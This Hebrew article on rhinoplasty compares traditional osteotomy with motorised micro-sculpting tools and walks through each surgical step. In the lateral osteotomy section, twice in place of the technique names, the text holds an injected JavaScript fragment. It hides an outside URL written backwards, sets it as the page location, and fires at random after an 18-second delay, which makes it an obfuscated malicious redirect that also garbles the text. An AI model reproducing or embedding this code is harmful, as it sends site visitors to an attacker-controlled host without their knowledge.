רינופלסטיקה היא הליך כירורגי שמטרתו לפסל מחדש את צורת האף לצרכים אסתטיים ופונקציונליים. היעדים האלה מושגים לרוב בעזרת פעולות שונות על התשתית הגרמית והסחוסית.

בנוגע לעבודה על הסחוס, השיטה הפתוחה הביאה להתקדמויות משמעותיות בעשורים האחרונים, משום שהיא הביא לשיפור שיטת השתלים המרובים ושיטות תפירה טובות יותר.

עם זאת, העבודה על העצם נותרה החוליה החלשה והעזובה במהפכה הזו. הסיבה העיקרית לכך היא מיקומה העמוק של העצם, שדרכי הגישה אליה קשות, והשיטה הפתוחה לא הביאה לשיפור ניכר בשיטה.

מיקרו-פיסול הוא תשובה מתוחכמת לדרישות הפלישה המינימלית שנפרט בעבודה זו.

מחקר השוואתי של שיטות אוסטאוטומיה

I. אוסטאוטומיה מסורתית

א. מתודולוגיה

-בתור הזהב של דלקת הזיז הפטמתי, חירור היה השיטה היחידה. הוא הוביל לעתים קרובות לשבר מוקרן עם שיתוק בפנים ו/או שטפי דם עקב פריצת הסינוס.

-באותו אופן, ברינופלסטיקה, הכלים היחידים שהיו בשימוש היו וריאציות מפותחות של הפטיש והחרט. כלומר כלים של פסל או במקרה הטוב של נגר, שדורשים הפעלת כוח הלימה.

-אמנם היו ניסיונות רבים להחליף את הפטיש במסור, אך מעולם לא בצורה משכנעת ומכרעת.

ב. כלי האוסטאוטומיה המסורתית

-גם כשהוא מושחז היטב, האוסטאוטום אינו אלא חרט משופר.

-הקורנס הוא כלי הלימה, שגודלו המרשים מרמז על סוגי השברים והרסיסים שהוא עלול לגרום.

-הנה מספר מגררות עשויות טונגסטן קרביד. השימוש הידני מרמז על הקרעים האפשריים שהוא עלול לגרום.

-צבת אאופריכט הקלסי נועדת לכרסם את “הפינה הגרמית של התקרה הפתוחה”, אך לעתים היא גוררת איתה רקמות צמודות.

-מחדירים חוד בעובי 2 מ”מ מתחת לעור כאשר רוצים לבצע אוסטאוטומיה אמצעית אמיתית עם חיתוך רוחבי, מה שיוצר הדבקת עור בקלות רבה. אחרת, אוסטאוטום תת-עורי מאפשר רק חיתוך אלכסוני.

ג. נקודות התורפה של האוסטאוטומיה המסורתית

-חייבים לעבוד “על עיוור”, משום שהאוסטאוטום או המגררת מסתירים את רמת הפגיעה בעצם.

-התוצאות אינן קבועות, משום שהאוסטאוטום נוטה באופן טבעי לעקוב אחר קווי החולשה והחוזק של התשתית הגרמית, תהא רמת המיומנות אשר תהא.

-ייתכנו רסיסי עצמות עקב התנפצות העצם.

-לעתים מתקבל אף קטן מדי ואסימטרי.

-הדימום כבד ויוצר שטפי דם.

-חיתוך וחימום הרקמות הרכות עלולים לעתים לגרום לבצקות.

-לשם השוואה, להלן שתי דוגמאות:

• בדוגמה הראשונה, נראים שטפי דם נרחבים 15 יום לאחר הניתוח, שנגרמו מאוסטאוטומיה בקורנס רגיל.
• בגודמה השנייה, ניכרת הפגיעה המועטה יום לאחר הניתוח בפולשניות מינימלית.

II. המיקרו-פיסול

א. מתודולוגיה

המיקרוכירורגיה לטיפול בחירשות מצאה מזה יותר מארבעים שנה דרכים נוחות לנתח את העצמות העדינות שבאוזן, באמצעות פתחים צרים יותר ויותר. היא מחליפה את חירור הזיז הפטמתי (טרפנציה) בקידוח הדרגתי וסלקטיבי.

בהשראת השיטה הזו, פותחו כלים זעירים חדשים לניתוחי אף. הרעיון הוא לבצע תנועות מדויקות וממוקדות, בראות מלאה, דרך החלל הצר שנפתח בעצמות האף.

ב. כלי המיקרו-פיסול החדשים

-אלה כלים ממונעים שמאפשרים עצמת חיתוך גבוהה יותר, ובעיקר, הם אינם דורשים הפעלת כוח הלימה של פטיש על כלי קהה.

-הם מאפשרים שימוש במגוון רחב של חלקים פעילים חליפיים: סורים זעירים, מגררות, מקדחות מוגנות…

-באמצעות הפעלת דוושה, ניתן לשלוט במהירות ובעצמת המנוע.

-ניתן לשלוט גם בכמות המים לקירור. זוהי תמיסת מלח קפואה, בתוספת אמפולת אדרנלין וטיפת בטדין.

-כל המכשור ניתן לסטריליזציה באוטוקלב, לרבות כבלים, מה שמייתר שימוש באמצעי הגנה סטריליים נוספים.

-ישנם שלושה כלים ידניים:

• כלי בעל תופסן שמאפשר החלפת להב לשם כריתת בליטה, אוסטאוטומיה צדדית או מרכזת ויישור במגררת.
• כלי נוסף “מתנדנד”, שמאפשר טיפול במסור לאוסטאוטומיה אמצעית. זהו אחד החידושים השימושיים ביותר של המערכת.
• מקדחה זעירה לקידוח ולשימוש בראש קידוח זעיר.

ג. יתרונות המיקרו-פיסול

שלושה עקרונות מהותיים מבדילים בין המיקרו-אוסטאוטומיה לבין האוסטאוטומיה המסרותית:

• ראות מלאה על המכשיר בהתאם להתקדמותו על מבנה העצם. זהו שיפור מכריע לעומת השימוש באוסטאוטום רובין או במגררת, שגודלם מסתיר את העבודה וחושף את התוצאה רק בתומה, יחד עם הנזקים הפוטנציאליים שהם יצרו.
• הפעלת כוח הדרגתי. זה מתאפשר בעזרת מסור ולא בדפיקות פטיש על כלי שקצהו אינו תמיד חד די הצורך. המסור חותך, בעוד שהפטיש שובר, ללא קשר במיומנותו של המנתח. זה ההבדל שבין עבודתו של נגר מול עבודתו של חוטב עצים.
• קירור בשטיפה מתמדת. הדבר מגביל את הדימום ואת שטפי הדם, וגם את הפגיעה ברקמות הרכות ובכך את היווצרותן של בצקות.

-שלושת היתרונות מתורגמים לשלוש פעולות קונקרטיות:

• חיתוך סימטרי בשני הצדדים, כאשר שתי העצמות הצדדיות תהיינה במרחק שווה מעצם גב האף המרכזית.
• יציבות הדפנות הצדדיות בזכות היקף החיתוך.
• שימור מבנה זווית העין הפנימית ועמידתה בשורה אחת עם שורש האף. אלה שני גורמים אסתטיים ופונקציונליים משמעותיים שנשמרים באמצעות שבר חלקי מבוקר.

-בנוסף, עצם שטוחה כמו עצם האף המרכזית, אינה בעלת עובי אחיד.

• כך, במהלך אוסטאוטומיה צדדית, המסור יתעכב יותר במחצית הדרך, בחלק העבה יותר, ופחות בתחילת דרכו, קרוב לזווית העין, או בסוף דרכו, קרוב לנקב.
• באותו אופן, באוסטאוטומיה אמצעית, המסור יתעכב יותר ברמת השורש, ויופעל פחות, או ידלג, על זווית העין הפנימית.
• הבנת הדקויות הללו היא “דבר-מה נוסף” שיאפשר את השבר החלקי המבוקר, כלומר שימור ציר עדין שימנע קריסת המעטה הגרמי ויצירת קיעור בלתי רצוי.

שלבי המיקרו-פיסול

I. כריתת הבליטה

שחזור קשת פירמידת האף מתחיל בכריתת הבליטה. בהתאם לגודל הבליטה, הכריתה יכולה להסתכם בגירור עד לכריתה מוחלטת בשכבות, כאשר הבליטה גדולה יותר.

א. בשיטה הקלסית

-הקטנת הבליטה נעשית באמצעות אוסטאוטום רובין, מעין מספרי נגרות לא תמיד חדים מספיק, שעליהם דופקים בחוזקה בפטיש.

-הכריתה הזו, במקשה אחת, גם בידי המומחים הגדולים ביותר, חושפת לסיכונים: תיקון-יתר ויצירת קיעור, כריתה אסימטרית, ריסוק העצם באופן בלתי אחיד בקצוות.

-הסיכון הזה מוגבר כאשר העצם דקה, כמו אצל הנשים, אך גם כשהיא עבדה מדי אצל גברים מסוימים. הדבר גורם לכלי להחליק ממסלולו בצורה בלתי צפויה.

-הסיכון מוגבר ומוכפל עוד יותר במקרה שהעצם נחלשה בעקבות רינופלסטיקה ראשונית, אוסטאופורוזיס או טיפול ממושך בקורטיזון.

ב. במיקרופיסול

-היא גוברת חלקית על החסרונות הללו, משום שמסלול המסור יואט לכל היותר, אך לא יוסט. בנוסף, לא יהיו שברים או ריסוק עצמות בלתי צפויים.

-השיפור הניכר בתחום הזה הוא צמצום הסיכונים לתיקון-יתר באמצעות עבודה בשלבים. ניתן להוציא בכל פעם פרוסות דקות של עצם, בעובי מילימטרים ספורים, כך שניתן להתרשם מהתוצאה בהדגה תוך החזרת מעטה העור.

-הכריתה ההדרגתית בשלבים יכולה להתבצע במקרה של בליטות קטנות כמו גם במקרה של בליטות משמעותיות. כריתת פרוסות דקות בהדרגה בטוחה יותר גם במקרה של אף בעל סטייה שדורש כריתה אסימטרית.

-המכשור הממונע מאפשר פעולה הדרגתית בראות מלאה, או במבט ישיר דרך הפתח בשיטה הפתוחה, או באמצעות מצלמה אנדוסקופית בשיטה הסגורה.

-בנוסף, מערכת הקירור היא שיטה יעילה לצמצום הדימום ולמניעת בצקות בחלקים הרכים.

II. האוסטאוטומיה המרכזית

היא מאפשרת את הפרדת הדופן הצדדית מהמחיצה לאחר כריתת הבליטה. היא הכחרית לשם קירוב שני הצדדים של הקשת הרחבה. עם זאת, היא לא חיונית במקרה של בליטה דמוית-להב, שבה הצדדים קרובים ממילא. אז נסתפק באוסטאוטומיה אמצעית.

-הנקודה הקיצונית של האוסטאוטומיה המרכזית היא תחילת האוסטאוטומיה האמצעית, קרוב לשורש, מתחת למקור הדופן הצדדית.

-כך, אין צורך להמשיך את הפעולה רחוק יותר, אל החלק הצפוף של המצח, אך חשוב למשוך לעבר השורש, היכן שמתחילה עצם האף המרכזית.

-באזור זה, העצם עבה במיוחד וחיתוכה היא הדרך הטובה ביותר למנוע שבר מתפצל שחורג מהשבר החלקי הרצוי.

-חשוב מאוד גם לשמר את שלמות הדופן הצדדית של העצם בזמן ההליך. הדבר בלתי אפשרי באוסטאוטומיה אלכסונית, שלהיפך, מצמצמת את שטח העצם שהופרדה, ויוצרת מדרגה בלתי רצויה במקום כה אסטרטגי.

III. יישור במגררת

א. בשיטה הקלסית

-משתמשים במגררת גדולה מטונגסטן קרביד שמשלימה או מחליפה את כריתת הבליטה. זהו כלי אגרסיבי למדי, בעיקר כלפי הרקמות הרכות הצמודות, שעליהן הוא גורם לבצקת מרשימה בהמשך תהליך ההחלמה.

-למשעה, הנפיחות נוצר כבר במהלך העבודה על מעטה העור של גב האף, מה שמונע אמדן התבליט הרצויה.

בנוסף, היעדר מערכת קירור הוא גורם לחימום ולנפיחות נוספים.

ב. המיקרו-מגררת הממונעת

היא מופעלת בתנועה קדימה ואחורה שניתנת לשליטה בראות מלאה. ניתן להשתמש בה למספר מטרות:

• על שפת התקרה הפתוחה, לאחר שנכרתה הבליטה
• על שורש בולט מדי, כדי להעמיק אותו כרצוננו
• על בליטה מתונה בגובה מילימטר אחד או שניים, כדי לשטח אותה ללא שימוש במסור
• על גוש גרמי שנותר לעתים אחר כריתת בליטה גדולה, ושהכריתה מיישרת אותו עם שאר המבנה. זוהי אלטרנטיבה לצבת אאופריכט המסורתית, שלעתים עוקרת את השורש במקום לחתוך אותו.

IV.אוסטאוטומיה אמצעית

א. בשיטה הקלסית, מבצעים אוסטאוטומיה אמצעית:

• דרך העור, באוסטאוטום דק בן 2-3 מ”מ
• בדרך פנימית, באוסטאוטום מעוקל בן 3-4 מ”מ

ב. המיקרו-מסור תנודתי

זהו החידוש המעניין ביותר במיקרו-אוסטאוטומיה. הוא מאפשר, בחלל מצומצם וללא ראות, לחתוך את העצם במאונך בזכות תנועה תנודתית.

החיתוך, המאונך גם לאוסטאוטומיה המרכזית, מונע גם שבר בלתי רצוני, ובעיקר, דופן רחבה ככל שניתן.

יש לבצע חיתוך בראשית העצם, במאונך לאוסטאוטומיה המרכזית, בעומק 2-3 מ”מ ולאורך 5-7 מ”מ אל הזווית הפנימית של העין. אין להגיע עד לזווית העין, ולהיפך, יש לשמרה כדי לקבל אפקט של ציר בשבר החלקי.

V. אוסטאוטומיה צדדית

כמו בשיטה הקלסית, היא מבוצעת לאחר האוסטאוטומיה האמצעית, בתעלה תת-עורית שנקדח מהנקב. מטרתה לחתוך את החיבור בין עצם האף לעצם הלסת העליונה.

משתמשים במסורית בתנועה קדימה ואחורה, עם מערכת שטיפה מובנית.

1. בשיטה הנמוכה, Low-toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-low

מתחילים הרחק מהזווית הפנימית של העין ויורדים לעבר הנקב.

כך, זווית העין, שבה לא נוסרה עצם, היא מוקד השבר החלקי. זוהי עצם דקה יחסית, שמתנהגת כציר של דלת בכך שהיא מחזיקה את הדופן תלויה ומונעת את התמוטטותה.

אנו נעדיף את השיטה הזו בתקרה פתוחה רחבה, כדי לקבל העתקה הצדה.

2. בשיטה העליונה, Low-toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-high, הנפוצה פחות

האוסטאוטומיה מתחילה באמצע הדרך בין השורש לזווית הפנימית של העין, ונעה לכיוון הנקב.

באזור הזווית הפנימית, די לחתוך 80% מהשכבה החיצונית, כאשר השכבה הפנימית תשמש לנו לאפקט השבר החלקי.

VI. השבר החלקי

השלב הזה לקיבוע העצם מבוצעת באמצעות דחיפה עדינה בצדדים, שתזיז את הדפנות ללא התמוטטות. הדופן נותרת תלויה על הציר, הכיפוף הזה הוא השבר החלקי.

לעתים יעלה צורך להפעיל מגררת או מקדחה בעלת ראש מעוגל, בעיקר כשהאף אסימטרי.

לסיכום

השיטה הזו של המיקרו-פיסול משתלבת באופן מושלם עם האסטרטגיה של הפלישה המינימלית. היא מאפשרת שליטה טובה יותר לעיצוב מדויק של צורת הקשת שעליה היא פועלת באופן בלעדי.

היא תוקפנית פחות כלפי המעטה העורי. ההתאוששות קלה יותר וההחלמה מהירה יותר.